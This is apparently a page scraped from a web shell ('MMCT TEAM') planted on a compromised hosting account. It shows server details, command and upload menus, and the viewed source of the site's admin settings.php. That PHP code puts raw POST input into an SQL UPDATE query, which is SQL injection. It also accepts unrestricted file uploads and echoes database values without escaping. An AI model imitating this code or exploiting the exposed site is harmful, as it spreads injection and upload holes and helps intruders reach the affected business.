MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/admin/settings.php
<?php include('include/sidebar.php'); ?>
<!-- Start Welcome area -->

<?php include('include/header.php'); ?>

<?php

if(isset($_POST['brand_name'])){
    $brand_name=$_POST['brand_name'];
    $phone=$_POST['phone'];
    $alt_phone=$_POST['alt_phone'];
    $email=$_POST['email'];
    $address=$_POST['address'];
    // head office
    $headoffice_phone=$_POST['phone2'];
    $headoffice_email=$_POST['email2'];
    $headoffice_address=$_POST['address2'];

    $img=$_FILES['image']['name'];
    $image = uniqid().$_FILES['image']['name'];
    $path = 'uploads/'.$image;
    if ($img!='') {

        $que="UPDATE `settings` SET `brand_name`='$brand_name',`logo`='$path',`email`='$email',`phone`='$phone',`alt_phone`='$alt_phone',`address`='$address',`headoffice_phone`='$headoffice_phone',`headoffice_email`='$headoffice_email',`headoffice_address`='$headoffice_address' LIMIT 1";
    }else{
        $que="UPDATE `settings` SET `brand_name`='$brand_name',`email`='$email',`phone`='$phone',`alt_phone`='$alt_phone',`address`='$address',`headoffice_phone`='$headoffice_phone',`headoffice_email`='$headoffice_email',`headoffice_address`='$headoffice_address' LIMIT 1";
    }
    if ($conn->query($que) === TRUE) {
        move_uploaded_file($_FILES['image']['tmp_name'], $path);
        echo '<script>alert("Updated successfully"); location.href="settings.php"</script>';
    }else {
      echo '<script>alert("Something went wrong");</script>';
  }
}

$q = "SELECT * FROM settings limit 1";
$result  = mysqli_query($conn,$q);
$row = mysqli_fetch_assoc($result);
        // print_r($row);

?>
<style>
    .label{
        color: red;
        font-size: 20px;
        font-weight: 600;
        margin-bottom: 15px;
        padding-left: 10px;
        border-radius: 3px;
        background: #fff;
    }
</style>
<div class="breadcome-area">
    <div class="container-fluid">
        <div class="row">
            <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
                <div class="breadcome-list">
                    <div class="row">
                        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
                            <div class="breadcomb-wp">
                                <div class="breadcomb-icon">
                                    <i class="icon nalika-home"></i>
                                </div>
                                <div class="breadcomb-ctn">
                                    <h2>Settings </h2>
                                </div>
                            </div>
                        </div>

                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
</div>
<div class="single-product-tab-area mg-b-30">

    <!-- Single pro tab review Start-->

    <div class="single-pro-review-area">

        <div class="container-fluid">

            <div class="row">

                <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">

                    <div class="review-tab-pro-inner">
                        <form method="post" enctype="multipart/form-data">
                            <div id="myTabContent" class="tab-content custom-product-edit">

                                <div class="row">

                                    <div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">

                                        <div class="file-upload-inner ts-forms" style="margin-bottom:15px;">
                                            <div class="input prepend-small-btn">
                                                <div class="file-button">
                                                    Browse
                                                    <input type="file" name="image" accept="image/*" onchange="document.getElementById('prepend-small-btn').value = this.value;">
                                                </div>
                                                <input type="text" id="prepend-small-btn"  placeholder="Select Logo" readonly>
                                            </div>
                                        </div>


                                        <div class="input-group mg-b-pro-edt">

                                            <!-- <span class="input-group-addon"><i class="fa fa-user" aria-hidden="true"></i></span> -->

                                            <input type="text" class="form-control" name="brand_name" value="<?php echo $row['brand_name'] ?>" placeholder="Brand Name" required>

                                        </div>

                                        <div class="input-group mg-b-pro-edt">

                                            <!-- <span class="input-group-addon"><i class="fa fa-phone" aria-hidden="true"></i></span> -->

                                            <input type="number" class="form-control" value="<?php echo $row['phone'] ?>" placeholder="Phone Number" name="phone" required>

                                        </div>
                                        <div class="input-group mg-b-pro-edt">

                                            <!-- <span class="input-group-addon"><i class="fa fa-phone" aria-hidden="true"></i></span> -->

                                            <input type="number" class="form-control" value="<?php echo $row['alt_phone'] ?>" placeholder="Alternate Phone Number" name="alt_phone" required>

                                        </div>

                                        <div class="input-group mg-b-pro-edt">

                                            <!-- <span class="input-group-addon"><i class="fa fa-envelope" aria-hidden="true"></i></span> -->

                                            <input type="email" name="email" class="form-control" placeholder="Email ID" value="<?php echo $row['email'] ?>" required>

                                        </div>

                                        <div class="mg-b-pro-edt">
                                            <textarea rows="5" class="form-control" placeholder="Address" name="address" required><?php echo $row['address'] ?></textarea>

                                        </div>

                                        <div class="label">Head Office Details</div>
                                        <div class="input-group mg-b-pro-edt">

                                            <!-- <span class="input-group-addon"><i class="fa fa-phone" aria-hidden="true"></i></span> -->

                                            <input type="number" class="form-control" value="<?php echo $row['headoffice_phone'] ?>" placeholder="Phone Number" name="phone2" required>

                                        </div>

                                        <div class="input-group mg-b-pro-edt">
                                            <input type="email" name="email2" class="form-control" placeholder="Email ID" value="<?php echo $row['headoffice_email'] ?>" required>
                                        </div>
                                        <div class="mg-b-pro-edt">
                                            <textarea rows="5" class="form-control" placeholder="Address" name="address2" required><?php echo $row['headoffice_address'] ?></textarea>
                                        </div>
                                    </div>
                                    <div class="text-center col-lg-6 col-md-6 col-sm-6 col-xs-12">
                                        <img src="<?php echo $row['logo'] ?>" style="width: 50%;">
                                    </div>


                                    <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" style="padding-right: 30px;">

                                        <div class="text-center custom-pro-edt-ds">

                                            <button type="submit" class="btn btn-ctl-bt waves-effect waves-light m-r-10">Save

                                            </button>

                                            <a href="index.php" class="btn btn-ctl-bt waves-effect waves-light">cancel

                                            </a>

                                        </div>

                                    </div>

                                </div>
                            </div>
                        </form>
                    </div>

                </div>

            </div>

        </div>

    </div>

</div>

</div>
<?php include('include/footer.php'); ?>

MMCT - 2023